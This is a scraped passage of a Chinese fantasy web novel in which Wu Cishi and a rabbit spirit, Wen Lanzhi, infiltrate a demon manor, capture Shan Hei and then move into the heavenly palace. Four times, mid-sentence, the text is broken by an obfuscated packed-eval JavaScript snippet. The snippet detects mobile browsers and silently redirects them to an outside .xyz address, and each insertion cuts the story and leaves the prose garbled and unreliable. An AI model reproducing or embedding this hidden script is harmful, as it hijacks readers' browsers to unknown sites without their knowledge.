老板娘抱着孩子出来了,她拿出两个陶土罐子,哭道:“英雄,这是我们所有的积蓄了,都拿来还温姑娘的钱,求求您,别报官,别抓我夫君,我们家里三个孩子,我夫君要是进去了,我们可怎么活啊!英雄,求求您!” 邬辞砚扫了一眼那个罐子,“你觉得这两罐够吗?” 邬辞砚道:“六年,每日多付四个钱,就是八千多个钱,她也不是每天都来,那就给你抹个零,大约八吊钱。” 老板连忙道:“是三个钱!是三个钱,温姑娘每次来,都会多给她放点胡萝卜碎。” “好。”邬辞砚道:“三个钱,一共是六吊钱。” 老板娘嚷道:“英雄,六吊钱,你就是把我们一家人都卖了,我们也赔不起啊!” 温兰枝站在原地,不知所措,感觉到了这个份儿上,她不想要这个钱了,但是现在上去,恩人会不会生气啊…… 邬辞砚道:“两个选择,第一个,报官。” 老板娘的哭声又响起来,把头埋在孩子的胸口,撕心裂肺。孩子不明所以,摸摸阿娘的头。 邬辞砚道:“第二个,每日给温姑娘三个钱,直到把钱还清。” 老板愣神片刻,顿时转悲为喜,激动得高声喊道:“是!是!是我们的错!谢谢英雄!谢谢英雄,英雄放心,我们肯定把钱还清!以后您和温姑娘要想来吃烙饼,随时来,不收钱!” 大早上起来闹了两场,邬辞砚只觉得头疼,不耐烦地道:“起来,去烙饼!” 老板连忙起身,把刚才收的十八个钱全部还给温兰枝。邬辞砚数了六个钱出来,放到桌子上。老板又数出来三个,递给温兰枝,道:“这是今天的三个,温姑娘拿好。”饼正好也好了,他撒上三碗胡萝卜碎,又烤了烤,递给两个人。 回去的路上,温兰枝一路低着头,一手拿着慕蓉的饼,一手拿着自己的饼,闷闷不乐地啃着。 邬辞砚道:“钱都要回来了还不高兴?” 温兰枝道:“我以前觉得,我跟老板是好朋友,他经常跟我说话,每次我去的时候他都可开心了。” 温兰枝又咬了一口饼,感觉饼也没有那么好吃,但是每次去买饼的时候都很开心。 邬辞砚道:“你还可以免费再吃六年饼。” 温兰枝道:“可是我不想吃了。” 邬辞砚道:“那吃别的。” 温兰枝有点生气了,道:“我什么都不想吃。” 邬辞砚道:“那就不吃。” 温兰枝哭了。 邬辞砚:“……” 温兰枝哭了一路,回来的时候,慕蓉正在对镜梳妆。 她听到哭声,转过头来,夸张地“哎呦”一声,“出去买个饼,怎么还买哭了?” 温兰枝哭哭啼啼地把那份儿没咬过的饼递到慕蓉手里,“慕蓉,给你。” “谢谢啊……”慕蓉不知道发生了什么,也不太会安慰人。 邬辞砚更是个不会安慰人的,也不想安慰。 过了一会儿,温兰枝哭累了,不哭了。 邬辞砚道:“要不要吃点心?” 温兰枝点头,抽泣道:“谢谢邬公子。” 慕蓉笑着回头,道:“姑娘先去对面茶楼里等着吧,还是昨天那地方,我们等会儿过去,跟姑娘说一下晚上的具体事宜。”她又转过头,看向双手抱臂,站在一边的邬辞砚,道:“既然是公子提的,那公子去买吧,我等会儿还要换衣服。” 云雾又出现了,一个大活人再次消失在房间里,温兰枝伸手,想抓住云雾,但只抓到了满手的水汽。 温兰枝道:“慕蓉,我不会这样出去。” 慕蓉道:“你不用这样出去,走门就好了。别人问你,你就说只有你住在这里。” 温兰枝应一声,打开门,出去了。 周围的人都转过头来看她,诶?温姑娘怎么在这儿?温姑娘在这里,那大英雄应该也在了? 她走进茶楼,茶博士又坐在门口,“你那位恩人呢?” 温兰枝道:“恩人不跟我住一起。” 茶博士“哦”了一声:“以后要住在这里吗?” 温兰枝道:“不知道呀。” 她上了楼,走到昨天那个房间,推开门之前,先摸了一下自己的脑袋,伤口结痂了,摸着硬硬的。 她伸出一根手指,推开门。 什么都没有。 门越开越大,越开越大,突然,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083640|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗头从门上掉了下来,喊道:“你是温姑娘吧!” “啊啊啊啊啊啊!”温兰枝一口气儿从楼上跑下来,哒哒哒哒哒哒哒哒哒哒,冲回屋子,砰地关上门,深吸气!吐出来!深吸气!吐出来! 慕蓉差点又给自己戳出一个耳洞来,她揉了揉耳垂,道:“怎么了?” 温兰枝道:“有鬼!” “哪来的鬼。”邬辞砚正好买东西回来。 慕蓉也梳妆打扮好了,“好了,我们一起上去吧。” 他们走到门口,都不用开门,门本来就是敞着的,那个头欢快地蹦了两下,滚过来,滚到邬辞砚脚边,还没开口,被邬辞砚一脚踢到墙上。 这一踢,竟然给他的身体和四肢都踢出来了。 三个人陆续进屋,邬辞砚关上门,道:“发什么疯?” 被踢得头晕目眩的鹦鹉精转了转脑子,怪声怪气地道:“人家想给温姑娘一个惊喜嘛!这是人家新学的法术。” 慕蓉道:“好了,说正事吧。” 邬辞砚道:“昨日一时疏忽,忘了让酒楼的人保密,今天早上又闹了两场,再拖下去,这事儿恐怕瞒不住,动作要快,今晚就施行。” 鹦鹉精道:“公子放心!您之前让我们在那山庄附近施下障眼法,他们现在根本看不到真实的城镇,等他们发现那是幻术,怎么着也得半个月以后了。” 邬辞砚道:“嗯,好,你把这几天打听到的状况细细说来。” 山黑那边防得紧,现在所有过去的人,都要蒙上眼睛,捆住双手,而且要搜身,还要用法术验身,确保不是用变化术的奸细。这几个混进去的妖精,如果不是有邬辞砚给的宝物防身,早就被发现了。 但这个宝物也只能防守卫的小妖精,如果和山黑那几个心腹对上,就有暴露的风险,这几天,几个混进去的奸细都躲着高层,正巧山黑让他们几个去城镇里打探消息,只需要晚上回去一下就行了。 估计也瞒不了多久,所以必须要赶快行动。 两天前,邬辞砚出现在了皇城附近,还收了几个作乱的土匪,山黑已经得到了邬辞砚离开的消息,但还在纠结要不要回来。 今天晚上,鹦鹉精就推着温兰枝进去,邀功请赏。 从邬辞砚施下幻术到今天,已经五天了,意味着在山黑的视角,邬辞砚已经五天没有出现在附近,并且两天前已经出现在了皇城附近,大约蹲守不住,已经回宫了。山黑在外面东躲西藏,风餐露宿,此刻估计已经放下戒备心,准备回来了。 只需要再放一个诱饵,大概率能成。 那,就在今晚。 鹦鹉精道:“不过为了不露出破绽,我会把姑娘交给守卫,让他们把姑娘带进去,交给几个大妖怪。姑娘放心,您是‘大王’看中的人,不会有别的妖怪敢随便动你。”他故意咬重了大王两个字,语气里都是阴阳怪气。 温兰枝拿着鹦鹉精交给她的黑色布条,尝试着蒙在眼睛上,又拿下来,咬了下嘴唇。 邬辞砚道:“我陪着去。” 鹦鹉精吞下一口茶,“啊?” 邬辞砚道:“怎么?觉得我会被发现。” 鹦鹉精连忙道:“不是不是不是……但是要您对几个小妖怪点头哈腰……嘿嘿……” 慕蓉道:“你愿意跟着去最好了,我幻形术不好,温兰枝一个小姑娘,又被蒙着眼睛,肯定害怕。再说,万一出个什么事情,你我都承担不起。” 5. 5 夜里。 邬辞砚搞了辆小推车来,温兰枝躺在里面正正好。 小推车就小推车吧,他还又弄了一个枕头和一条毯子过来。 蒙住眼睛的温兰枝一怔,接过,将枕头垫在脖子下面。 邬辞砚把毯子盖在温兰枝身上,像使麻袋一样将温兰枝紧紧裹住,接着,用绳子捆起来。 几个小妖怪诧异地看着他,道:“公子,您是没找到麻袋吗?” 邬辞砚“嗯”了一声,安顿好温兰枝以后,他道:“别叫我公子。” “是。”小妖怪嘻嘻哈哈地道,“现在是小齐兄弟!” 温兰枝也笑了一声,跟着喊了一句“小齐兄弟”。 几个人笑声更大了。 邬辞砚瞪了一眼,嘻嘻哈哈的声音瞬间没了,异常安静。 他温声道:“都自在点。” 几个小妖怪齐声道:“是,小齐兄弟。” 路上,几个小妖怪又把进庄子的流程讲了一遍。 温兰枝道:“恩人,如果我死了,你会为我守孝吗?” 人群突然安静了,须臾,爆发出一阵大笑声。 邬辞砚也笑了,“胡说八道,你知道守孝是什么意思吗就乱说。” 温兰枝知道自己说错话了,把头埋起来,闭嘴了,过一会儿,她又道:“我就是觉得,死了没人记得很难过。”她说完,竟然呜呜咽咽地哭了起来。 “姑娘别难过嘛!”鹦鹉精带头说道,“你死了,我给你守孝。” 几个小妖怪也跟着起哄,“对啊我也给你守孝,守三百天!” “你守三百天算什么!我守五百天!” “我守一千天,姑娘,你死了我给你做干儿子。” “姑娘我们都给你守,你快别哭了。” “都别胡说八道了。”邬辞砚满头黑线,“死不了,你不会死的。” 温兰枝问道:“真的吗?” 邬辞砚道:“真的。别说话了,前面快到了。” 温兰枝能感受到邬辞砚说的是真的,她听到了喘息声,很重的喘息声和脚步声,声音越来越大,越来越近。 邬辞砚感受到整个推车都跟着抖起来。 他想起来,兔子容易受惊。 真烦,这老妖怪看上的要是鹦鹉就好了,兔子他没有,鹦鹉多得是,能推一车过来。 为什么鹦鹉多呢,因为刚开始追随他的妖精里有一只老鹦鹉,之前没发现,这鹦鹉这么喜欢孩子,和不同的妖精生下了不同的鹦鹉,都成了他的部下。喜欢孩子大约是会遗传的,老鹦鹉的孩子也喜欢生,子子孙孙无穷匮也。 那东西越来越近了,邬辞砚顿住脚步。 应该是那只看守大门的老虎。 听这几个小妖怪说,那老虎明明已经修炼成人形了,但就喜欢用原形在附近走来走去。他之前被山黑降服的时候很不服,觉得被一只狐狸打败了丢人,但因为有赌约在前,所以不得不对着山黑俯首称臣。老虎比狐狸高,更别说因为妖气使它的身形更加高大,四肢着地的时候都比成年男子高大不少。所以他这样没别的原因,就想在身高方面为自己夺回点面子。 但大家都一致认为,他这样更没面子。 他昂首挺胸,折断挡眼的树枝,慢悠悠地走过来。 温兰枝的心哽住了,全身上下动不了一点儿,只会不受控地发抖。蒙眼的黑布湿了一片,她死死咬住嘴唇,还是会控制不住地发出两声呜咽。 老虎从嗓子里发出低沉的吼声,凑近,嗅了嗅推车里的东西。 邬辞砚道:“这是献给大王的人,还请让个路。” 老虎道:“我没听说大王要请什么人。” 邬辞砚道:“这舞娘,是大王早就看中的,如今大王归来,我们兄弟几个去绑了这舞娘来献给大王,这也是左副首领的意思。” 温兰枝抽抽搭搭的声音正合时宜,倒真像是被绑架的倒霉蛋。 老虎让开路。 邬辞砚推着推车继续往前走。 温兰枝感觉到了一些亮光,应该是进来了。 周围寂静一片,只有木头燃烧的声音,是火把。那几个伪装的小妖怪离开了,只剩下邬辞砚推着温兰枝,在七拐八绕的庄子里前行。 温兰枝又听到了脚步声,很凌乱,一会儿有一会儿没有的,接着,她听到邬辞砚小声道:“是个喝醉的妖怪。” 那妖怪猛地扑到推车上,半个身子都歪下来,伸出黑漆漆细杆杆的手指,想要去掀毯子。 “去你的!”邬辞砚将他一脚踢开,“大王就要回来了,还喝!” 那醉鬼躺在地上,猥琐地干笑两声:“好漂亮的姑娘,干嘛、干嘛不让我摸两下……” 邬辞砚嫌恶地蹙眉,道:“这是要献给大王的人,你是什么东西,也敢来玷污。” 那醉鬼打了个嗝儿,躺在地上不说话了。 邬辞砚推着推车继续走,没多久,听到身后传来响亮的鼾声。他转过头,一个小妖精将那醉鬼拖了去,并冲着邬辞砚比了个手势,表示是自己人。 夜幕里,有一间亮着灯的房子。邬辞砚来之前看过地图,已经把庄子的路线记得七七八八了,如果没记错的话,前面就是左副首领的房间,正等着他把人送进去查验。 他佯装粗鲁地扯掉推车上的绳子,拉开毯子,看上去好像苦大仇深,和推车里的姑娘有不解之仇,实际上,都没碰到温兰枝一下。 他粗鲁地拉住温兰枝的手腕儿,扶着她慢悠悠地找地面在哪,等她终于下来了,才拖着她往前走。 有台阶的地方,他揪着温兰枝的衣领,把她拎起来,到了台阶下面再放下来。 “嘿嘿。”温兰枝笑了两声。 邬辞砚没好气儿地问道:“笑什么!” 温兰枝没被他吓到,道:“好玩。” 邬辞砚:“……”他一边扯着她的手腕,一边推了她两把,催促她快些。 他敲门,听见里面的人说了一声“进来”,这才推开门,扯着温兰枝进去。 左副首领端坐在床上,听到他进来,张开眼睛,打量着温兰枝。 他起身,走过来,凑近温兰枝,嗅了嗅。 邬辞砚皱眉,这狐狸的部下怎么都狗里狗气的。 接着,左副首领拿出一面镜子,“这个镜子,可以照出原形!” 邬辞砚更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083641|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大惑不解,既然有镜子,那刚才嗅那两下是在……? 装狗上瘾吧可能。 左副首领照完了温兰枝,又照了照邬辞砚。两次都并无异样。 左副首领点点头,“嗯,很好,事情办得不错,你把她交给我,你可以走了。” 邬辞砚道:“首领,这姑娘是我弄来的。” “我会跟大王说,记上你的功劳。”左副首领挥了挥手,不耐烦地道。 温兰枝开始发抖,下意识往邬辞砚怀里钻,被左副首领揪住衣服后领,拎起来,他发出一声气愤的“嗯”,正要把温兰枝往地下扔,突然听到一声“夺取”,再转过头来,就没了意识。 邬辞砚现在在左副首领的身体里,他将温兰枝放下,说了一句“是我,你邬公子。” 温兰枝的心忽上忽下,感觉今天回去,就要突发心脏病死掉了。 邬辞砚看着手里的魂魄,勾唇,用得意的语气说着无奈的话:“没办法,只好让你先在我这里待会儿了。”说完,将魂魄放在了温兰枝的荷包里。 温兰枝反应过来,震惊道:“你夺走了他的魂魄啊?” 邬辞砚“嗯”了一声。 温兰枝的嘴巴因为震惊而张开。 这是个强盗法术,可以凭空夺走别人的东西,简单好学,主要看功力。功力浅的也就夺个小石子什么的,功力深厚的才能夺大东西。温兰枝见过夺银子的,夺武器的,最多也就见过夺人的,但从来没见过夺魂魄的。 周围安静下来,温兰枝又开始慌张,她颤声问道:“您还在吗?” 邬辞砚应道:“在。” 温兰枝松了口气,问道:“我们怎么不走啊?” 邬辞砚正在翻看这个妖怪的记忆,看得差不多了以后,他再次拉住温兰枝的手腕儿,“嗯,走吧。” 温兰枝小声问道:“您也是妖王,为什么他们不叫你大王啊?” 邬辞砚道:“难听。” 温兰枝道:“哦。” 没多久,又听到了敲门声。 里面的人道:“我们的大王?” 邬辞砚毫不迟疑地应道:“天下第一。” 门开了,邬辞砚拉着温兰枝进去,“姜首领,人带来了。” 姜首领道:“好,你把人放下,回去守着吧,等会儿我送去给大王。” 温兰枝:“……”这次,她不害怕了。 邬辞砚道:“姜首领,不如您先联系大王,我去把这小兔子押送到大王屋里,然后再走。” 姜首领思索片刻,点头道:“嗯,副首领说得是。我现在就给大王传信,大王昨日就说,今晚要回来,此时献给大王,再合适不过。” “是,姜首领英明。”邬辞砚道。 姜首领脸上堆起褶子,道:“去吧,你快去吧。” 邬辞砚应一声“是”,又拉着温兰枝出去了。 邬辞砚拉着温兰枝走了一段,道:“小心,前面有台阶。” 温兰枝小声问道:“你为什么不揪我领子了?” 邬辞砚:“……好好走路。六个台阶,自己数着。” 温兰枝委屈地“哦”了一声,“一,二,三……” 6. 6 温兰枝被安顿在一张软和的床上,被子一盖,眼睛一蒙,舒服得要睡着了。 突然,一只手搭上了她的脸,冰冰凉凉的,她紧张得一震,接着,听到邬辞砚说了一声“是我”,不是小齐兄弟的声音,也不是左副首领的声音,而是邬辞砚的声音。 温兰枝感到很安心,顿时又躺好了。 她眼前湿哒哒的黑布被扯下来,她眼睛一直是睁着的,眨眼的时候,睫毛扫到了邬辞砚的手指,黑布绑得不紧,轻轻一扯就掉了。 她的目光落在那只骨节分明,修长白净的手上,顺着手臂往上,看到了一张带着笑意的脸,说真的,那张脸不管怎么笑,总让人觉得不怀好意,就像一条满肚子坏水的毒蛇。 她问道:“你怎么变回来了?” 邬辞砚道:“我感受到,他已经进了庄子。” 温兰枝问道:“万一等会儿他发现跑掉怎么办?” 邬辞砚道:“不会,他一旦进了庄子,就跑不掉了。” 温兰枝看着他,他好像很高兴。应该是因为要抓住山黑了吧,慕蓉说过,只要抓住山黑就能拿到锦玉,拿到锦玉就能找到曾经的执念。 温兰枝问道:“邬公子,你为什么非要找到执念不可?” 邬辞砚笑了一下,道:“准确的说,是记忆吧。执念这个东西,是夺不走的,毕竟我的生命很长,我总得为自己找个念头活下去,夺走了这个执念,还有别的执念,夺走了其它执念,没两天,我又会找到新的执念。” 他看温兰枝迟钝地点了下脑袋,耐心道:“就好像如果一个人的执念是吃饱穿暖,你今天夺走了他的执念,他明天饿了又要去吃饭,冷了又要找衣服穿,那他的执念自然就找回来了。倘或,我的执念是为了家人,记忆改变之后,我不记得我的家人了,但我还活着,我就会产生新的执念。” 温兰枝这下听明白了,她又问:“那你现在的执念是什么?” 邬辞砚道:“找回记忆。” 温兰枝:“那您为什么一定要找回记忆呢?” 邬辞砚道:“因为执念。” 温兰枝:“……” 邬辞砚没有骗她,也不是在打马虎眼,他也不知道自己为什么非要找回曾经的执念,明明那段记忆的缺失对他来说好像没什么影响,大部分事情他都记得,只是吞噬了一个执念而已,以后还会有新的。 但他就是想知道,是什么。 是什么样的执念能强烈到让他活下来。 哪怕当时已经是强弩之末,已经是奄奄一息,却还是为了那个执念,不肯放手,不肯去死。 他转过头来,问道:“你呢,你的执念是什么?” 温兰枝思索片刻,兴奋答道:“陪恩人找回记忆!” 邬辞砚愣神片刻,轻声笑了一下,知道她在开玩笑。 神识缺失的人,大概没有什么特别的执念吧,无非就是吃饱喝足,这样也好,不会有太多的烦恼。 温兰枝突然跪坐起来,身体前倾,“恩人,你头发上有虫子,你过来。” 邬辞砚没有过去,温兰枝过来了,她捏住在邬辞砚头上的小白虫子,轻轻捏下来。弄完以后,她看邬辞砚的头发有点乱了,想帮他整理好,她太认真了,连门口的脚步声都没有注意到。 哐当,门开了,光亮从门口冲进来,打在两人身上。 温兰枝转头,一个瘦矮的男人站在门口,穿着松垮的寝衣,面相不错,就是脸有点太尖了。 温兰枝刚看见他的时候,他眯着眼睛在笑,等她看清了他的面容,他也看清了屋里的景象,只见他脸上的笑意顷刻消失,取而代之的是惊骇,不止是脸,连手脚都开始颤抖,跟撞了鬼似的。 他猛地关上门,发出砰一声巨响。 温兰枝看向邬辞砚。 邬辞砚道:“不着急,他出不去了。” 话音刚落,突然,天摇地动,两侧的墙壁开始向中间缓缓合并。 “啊!”温兰枝连忙去开门,却发现门打不开了。 邬辞砚还没来得及出言安慰,温兰枝已经因为剧烈的惊恐而变回原形,她看到屋里的摆设一个个被推动、挤压、破碎,完全没有藏身之处,吓得蹬腿四处逃窜起来,她混乱中摸索到了一个会动的柱子,她连忙向上爬,爬到邬辞砚的膝盖上,腿上,再踩着腰带,往他胸口爬,往他衣领里钻。 衣领小,兔子只进去了一半,还有半个屁股卡在外面,她急得不停蹬腿。 邬辞砚无语片刻,拉开自己的衣领,让兔子整个钻进去。 躲在密闭、狭小又拥挤的环境里,温兰枝感到稍许安心,即便听到外面轰轰隆隆的声音,她也好像在桃源仙境一样一点反应也没有。 邬辞砚已经一脚踹碎了墙壁,从屋子里出来了。 山黑当然知道一个屋子困不住他,早就找密道开溜了。 邬辞砚等待的那一会儿,正好够他把每个密道都走一遍了,结果发现,无论从哪里走,走到一定地方以后,一定会碰壁。 是屏障,邬辞砚布下了结界。 他不信邪,逮着一个地方使劲撞,使劲钻,像是要在结界上钻出一个窟窿,但声音太大,反倒将人引来了。 一道极快的白光闪过,等他反应过来的时候,已经被钉在地上了,短刀穿过肩膀,死死地钉在土里,关刀横插在他头顶,刀面上红色的凹槽像是一道道血滴,将要滴到他身上。 他在刀面上看到了自己惊恐的表情,好像生怕下一秒,刀掉下来,砸在他脸上。 说时迟那时快,一声“爷爷饶命啊!”从山黑嘴里喊出来,那气势!那阵仗!直冲云霄!恨不得叫天上的神仙都听见。 邬辞砚伸出手,关刀松动,飞回邬辞砚手中,划过的地方,都留下一道白色的残影,和邬辞砚身上一尘不染的白色极其相称。 山黑想到一个词——白衣男鬼。 他把嘴闭得更紧了。 “谁要杀你。”邬辞砚嗤笑一声,嫌弃道。 山黑发抖的身体突然停了,他愣住,“啊?” 不杀我?不杀我您大费周章抓我干嘛?为了……体现您的神通广大? 他开始滔滔不绝地道:“爷爷下凡,真是让小的们都开了眼了!往那儿一坐,天下神佛都失了光彩,往那儿一站,真是叫天下诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083642|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神都抖三抖!您那一刀划得,可真是漂亮啊!小的这辈子都没有见过像您这么神通广大的妖怪!您简直就是妖怪中的妖怪!神仙中的神仙!您一飞升,天庭蓬荜生辉,您不飞升,也是那帮神仙高攀不起。您就是……” 哐当!关刀插在了他脑袋旁边。 邬辞砚淡然开口:“吵死了。” 山黑两个眼仁差点因为惊吓过度掉在地上,他牙齿打架,颤声道:“爷爷……您您您、您到底要干嘛啊……” 温兰枝蹬了两下腿,踩着邬辞砚的胸口,从领子里探出头来。 衣服里面有点闷。 邬辞砚:“……”那毛不拉几的东西蹭得他痒,他揪着兔子的耳朵把她拎出来。 温兰枝变回原形,衣领子又被邬辞砚提在了手里。 邬辞砚把她放到旁边,“站好了!” 邬辞砚看向山黑,“锦玉在哪?” 山黑愣住,“什么锦玉?” 邬辞砚握住关刀。 山黑连忙道:“知道了知道了!爷爷我知道了!知道了!” 邬辞砚被他吵得头疼,揉了下太阳穴,“说!” 山□□:“哦哦哦是这样,是这样,之前我是从天庭盗来了那玩意儿,但是神仙们觉得那个宝贝没什么用,所以即便知道是我拿的,也都没来问我要,我就把它、把它……销毁了。” 邬辞砚举起关刀。 “没销毁没销毁!在在在在在在在的,在的英雄,在的在的爷爷,在的!”山黑看他将关刀放下,憋着一口气不敢吐。 他道:“爷爷,我不能说啊……说说说,我现在就说!英雄您能不能先把您那把斩神收起来……” 邬辞砚的关刀斩神,跟着他几百年,当年拥有这把刀的时候,就立志要斩首诸神,还妖界安宁,也正是这把刀,杀了天帝。 山黑深吸了两口气,道:“其实,锦玉不是我偷的,之前我是帮我主子背黑锅,后来主子借我戴了几天,就又拿回去了。英雄我说的都是实话啊!您要相信我!我真没拿。” 邬辞砚蹲下来,看着他,问道:“你主子是谁?” 温兰枝也过来,蹲在邬辞砚旁边。 山黑咽了口口水,犹豫片刻,罢了,豁出去了,他道:“月华上神!是月华上神!” “好。”邬辞砚起身,温兰枝也跟着起身。 邬辞砚道:“那你就先在这庄子里待着,我自让人去查,你要是敢骗我……” “不敢不敢不敢不敢!”山黑连连道,“爷爷你放我一马,以后你就是我恩人,我做牛做马报答你啊!” 邬辞砚顿了顿,看了一眼温兰枝,道:“那倒不用。” 再来一个像温兰枝这么烦的,他吃不消。 他拔出短刀,一条帕子递到眼前,他半侧过身,发现温兰枝的目光一直在他身上。 他接过,道了一句“谢谢”,接着,仔仔细细地将短刀擦拭干净,插回腰间。 帕子上已经都是污血了。 温兰枝伸出手,看他盯着帕子,久久不还,疑惑地“咦”了一声。 邬辞砚道:“脏了,洗干净还你。” 7. 7 邬辞砚让山黑写下供词,按上手印,拿着供词回去找慕蓉。 慕蓉看过,道:“当时锦玉的消息是天上给你的,照这么看,他们骗了你。” 她把供词叠好,收起来,道:“我回去了,再去问问他们。” “我陪你一起去。”邬辞砚道。 慕蓉知道拦不住他,“行。温姑娘呢?” 温兰枝眼巴巴地看着她,连连点头。 天上还乱七八糟着呢,虽然已经过去六年,但当年被砸毁的宫殿,到现在都还没有修好,天帝之位空悬至今,倒不是选不出来好神仙,而是不管选谁,被选中的神仙总是多番推诿,有个神仙为了不当天帝,已经躲到千里之外的仙山去了,还在仙山周围设置了层层关卡,每一个去劝的神仙都被挡回来了。 毕竟某位当时走之前,可是用关刀指着众神,说了一句“让我瞧瞧,下一个刀下亡魂,是谁”呢。 现在天上的神仙都默认了,选天帝,就是给某位选靶子。 但是天上每天这么多事,没个发号施令的,事情怎么解决? 众神商量了一下,决定以后每天有事就在大殿商量着解决,商量好了就解决,商量不好就搁置,反正商量不好那就是还不着急,着急了自然会有人去做的。 这不,今天又在这里吵开了。 “晨光殿的修缮本来就是你们的责任!” “怎么能是我们的责任?之前是谁天天在晨光殿养花种菜!” “你还好意思说,我种了点葡萄,每天去数都少一串,要不是你偷吃的,还能是谁!” “证据呢?证据呢!你那葡萄,还有那果树!长得满屋子都是,我的花一点阳光都晒不到,从前懒得说你,你还来劲了是吧!” “又吵着呢。”一个熟悉的声音响起。 大殿里安静了。 邬辞砚走进来,自顾自找了个位置坐,温兰枝紧跟着,坐在了他旁边。 众神面面相觑,半晌,刚才那个种果子的神仙走过来了,拱了拱手,笑问道:“邬公子,您……有何贵干?” 邬辞砚把供词丢在他脸上,道:“白旭上神还真是贵人多忘事,锦玉。” “噢噢噢噢,锦玉,锦玉。”白旭上神笑呵呵地从脸上拿下那张纸,“想来邬公子定是拿到锦玉了吧,莫不是来讨用法?其实我等也不知道如何使用,只知道……啊……”他边看边道,越看越凝重,最后说不出话来了。 邬辞砚嗤笑一声,“只知道什么?” 白旭把纸递给了刚刚跟他吵架的神仙,那位神仙看完又依次传递。 人群中传来一个声音:“月华上神去千里之外的仙山闭关了,我们也不知道在哪座仙山。” 邬辞砚并未生气,往后一靠,两条腿交叉搭在桌子上,“你们天上的神仙,当然是你们去找咯,是吧,白旭上神?” 白旭嘿嘿赔笑。 那个声音又道:“那还请邬公子回去等候,我们找到了就去通知。” 邬辞砚斜睨一眼,是他的手下败将啊。 他正要说两句,慕蓉进来了,对众位神仙拱了拱手。 众神见到慕蓉,有的拱手回礼,有的不屑一顾。 之前知道慕蓉投靠了邬辞砚,众神都觉得她是叛徒,不肯与她为伍。但自从天帝死了以后,他们发现,投靠邬辞砚也没什么不好,那几个投靠邬辞砚的神仙,早就修好宫殿过得滋滋润润了,平时的差事也不忙,就帮着打探点消息,偷点卷轴宝物仙丹什么的。有时候,他们在妖界办不成的事儿,找邬辞砚,那是事半功倍。 所以没多久,慕蓉风评扭转,突然成了巴结对象,送来的礼都快堆不下了,还有人偷偷支持她当天帝。慕蓉每次听到这种话,都笑笑不说话。 不过,还是有相当一部分神仙不肯和妖怪为伍的,觉得拉低自己的水平。 慕蓉转过头,对邬辞砚道:“邬公子,我刚才去看了一下,大多宫殿都有人住了,只有天帝之前住的森罗宫还空着。我已经让人收拾出来了。” 邬辞砚点头,起身道:“好,那就森罗宫吧。” 众神惊讶地转过头来。 白旭上前,问道:“邬公子,您去森罗宫干嘛啊?” 邬辞砚道:“哦,你们不是要去找月华上神吗?我得第一时间知道消息,所以就先在天庭住下了,等你们找到了来找我呗。” 说完,搂上温兰枝的肩膀,头也不回地走了。 殿内再次恢复安宁。 白旭开口,道:“诸位怎么看?” 刚才那个声音再次开口:“天帝的寝宫,怎么能让妖怪住!” “将军说的有理!”白旭让开路,“那就请将军去把他赶出来,这样,天帝之位也有着落了。” 那声音消停了。 过了一会儿,有人开口道:“他想住就让他住呗,反正我们本来就住在天上,咱们就跟他耗着,看谁能耗过谁。” 白旭点头,道:“说得有理。” 毕竟是从前天帝住过的地方,虽然被砸过,但天上开始动工后,修缮的第一个宫殿就是森罗宫,修得富丽堂皇,比从前更好了。 邬辞砚摆弄着温兰枝的头发,道:“喜欢哪个房间,随便挑。” “哇!”温兰枝在森罗宫里整个跑了一圈,有三个房间,中间的和两边的,但是慕蓉只让人收拾出了一间,另外两个没收拾。 “行吧。”邬辞砚大概转了一圈,说道,“那你跟我一个房间吧,反正只是暂住,过不了几天,他们就能把消息给我带来了。” 这话不错,虽然邬辞砚没打算在天上闹什么事,但他之前闹得太多了,天上的神仙没一个对他放心的,睡觉都提心吊胆,怕他半夜睡不着起来杀神仙。 与其家里闹鬼,他们不得安宁,不如都去敲月华上神的门,要么把仙山的屏障打开,让他们都搬过去,要么你!月华上神!回来!把鬼弄走! 下午,两个人瘫在宫里没事干,温兰枝爬到邬辞砚身上。 “干嘛呀。”邬辞砚翻身把她推开。 温兰枝又爬上来,“邬公子,我听说天上有个莲花池,里面养了很多鱼。” 邬辞砚问道:“从哪听说的?” 温兰枝道:“刚才慕蓉姐姐说的。” 邬辞砚翻了两页书,“这么快叫姐姐了。” 温兰枝道:“慕蓉姐姐说,叫姐姐的话,她晚上可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 